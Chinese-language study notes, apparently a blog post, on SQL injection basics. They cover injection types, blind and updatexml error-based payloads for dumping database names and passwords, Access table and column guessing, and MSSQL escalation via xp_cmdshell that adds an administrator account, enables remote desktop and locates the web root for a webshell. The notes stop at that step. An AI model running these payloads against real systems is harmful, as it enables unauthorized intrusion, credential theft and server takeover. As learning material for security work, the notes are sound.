7.sql注入基础1

1.1、自己描述一下sql注入原理

SQL注入指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

1.2、注入分为那几类

1.数字型注入
2.字符型注入
3.搜索型注入: select * from 表名 where 字段名 like '%对应值%' or 1=1;
4.xx型注入 : select * from 表名 where 字段=('xx') or 1=1;

1.3、注入提交方式

get 提交
pos提交
cookie提交

1.4、注入攻击类型

1.union注入、
2.insert/update注入、
3.delete注入、

4.http header注入
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中。在进行注入。


image.png

5.盲注:
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注
(1)布尔盲注
在命令行输入语句select ascii(substr(database(),1,1))>xx;通过对比ascii码的长度,判断出数据库表名的第一个字符。

注:substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

(2)时间盲注
如果猜测真确,那么就会响应延迟几秒,如果错误会立刻返回错误。输入命令
**
vince' and if(substr(database(),1,1)='p',sleep(10),null)#**
(3)报错盲注

6.cookie注入


image.png

7.函数报错注入(updatexml,extractvalue,floor):
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,
第三个参数:new_value,String格式,替换查找到的符合条件的数据
eg:'or updatexml(1,concat(0x7e,(命令)),0) or'


1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#  
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4.爆表
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#

5、爆字段
获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

6、爆字段内容
获取字段内容,输入:k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

8.宽字节注入、


image.png

9.二次注入、
10.偏移注入:
只针对access数据库,在只爆出表名,没有查出字段名的前提下使用。
11.information_schema 注入等

2、通过注入获取access帐号与密码

1.判断网站所用的数据库是access还是mssql。
Access存在系统表[msysobjects]
sqlserver存在系统表sysobjects
使用命令(待考证):
and( select count() from sysobjects) >0 mssql 数据库 **
and( select count(
) from msysobjects) >0 access 数据库
或者
and user >0 ;
观察报错,sqlserver报错是将nvarchar值'****'转换为数据类型为int的列时发生语法错误。
access报错是Microsoft OLE DB Provider Drivers ODBC Drivers 错误 ‘80040e21’
ODBC 驱动程序不支持所需的属性。

2.爆数据表名
使用命令:
and exists(select * from 数据库表名 )
或者
and (select count(*) from 数据库表名 )>=0
·如果不存在此数据库,报错。
例子
http://192.168.1.55:901/news_view.asp?id=14 and exists(select * from users)

3.猜测字段数目
利用order by猜解字段数目,查询语句如下。
order by n,返回错误页面,则字段数目是n-1.

4.猜测字段名
and exists(select 字段名 from 数据库表名 )
或者
and (select count(字段名) from 数据库表名 )>=0
如果存在此字段名,返回页面正常,否则可更换字段名继续进行猜测
5.猜测字段内容长度
and (select top 1 len(user_name) from administrator)>1//正常

报错则说明此字段长度为n.
6.猜测字段内容

and (select top 1 asc(mid(user_name,1,1)) from administrator)>0 //返回正常页面
说明ASCII值大于0 ,字段值应该为字母,如果是小于0那么说明是汉字,

and (select top 1 asc(mid(user_name,1,1)) from administrator)>97 //返回错误页面
说明administrator表中的user_name字段的第一位ASCII值为97

3、完成mssql sa dbowner权限获取系统权限或webshell
1.判断是否是mssql数据库
and exists (select * from sysobjects)
页面返回正常,则说明为MsSQL

2.根据返回信息判断
and @@version>0
可以得到数据库版本信息。如果页面出错,但未返回可利用的信息,则说明MsSQL关闭了错误信息提示,在猜解数据库内容时,就不能用爆库的方法了,只能使用union select联合查询或盲注入攻击方法。
and user>O //获取当前数据库用户名
and db_name>0 //获取当前数据库名称

3.判断注入点权限
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select is_srvrolemember('db_owner'))
and 1=(select is_srvrolemember('public'))

如果上面的第一条查询返回正常页面,则说明当前数据库用户具有sa权限,可直接利用扩展存储进行攻击。
sa权限判断
1.检测与恢复扩展存储
(1)检测xp_cmdshell扩展存储过程是否被删除
and 1=(Select count() FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
检测xp_regread扩展存储过程是否被删除
and 1=(Select count(
) FROM master. dbo.sysobjects Where name = 'xp_regread')
(2).恢复扩展存储
:exec sp_configure 'show advanced options ',1;RECONFIGURE;

EXEC sp_configure 'xp_cmdshell';RECONFIGURE;

;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'

常用的扩展存储:
xp_cmdshell—利用此存储过程可以直接执行系统命令。
xp_regread—利用此存储过程可以进行注册表读取。
xp_regwrit一利用此存储过程可以写入注册表。
xp_dirtre一利用此存储过程可以进行列目录操作。
xp_enumds—利用此存储过程可以进行ODBC连接。
xp_loginconfig-利用此存储过程可以配置服务器安全模式信息。
xp_makecab一一利用此存储过程可以创建压缩卷。
xp_ntsec_enumdomains-利用此存储过程可以查看domain信息。
xp_terminate_jroces一利用此存储过程可以查看终端进程,给出一个进程PID.

2.添加管理员账号:
;exec master..xp_cmdshell 'net user test/add'
exec master..xp_cmdshell 'net locaigroup administrators test/add'

3.开启3389远程连接端口,
;exec master..xp_cmdshell 'sc config termservice start=auto'

;exec master..xp_cmdshell 'net start termservice'

;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接

dbowner权限

1.找出网站路径:
使用命令:

(1). ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY (1,1));--
该语句可创建一个临时表,一共4个字段,前三个字段用于存放执行存储过程xp_dirtree返回的结果,ID字段则方便查询指定内容。

(2);insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
利用xp_dirtree扩展查询,将指定目录的文件和文件夹名称插入到临时表中,这里查询的是C盘目录路径。

(3). and (select dir from temp where id=1)>0

语句是查询临时表中的内容,也就是指定的目录文件和文件夹名

2.写入一句话木马获取webshell

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343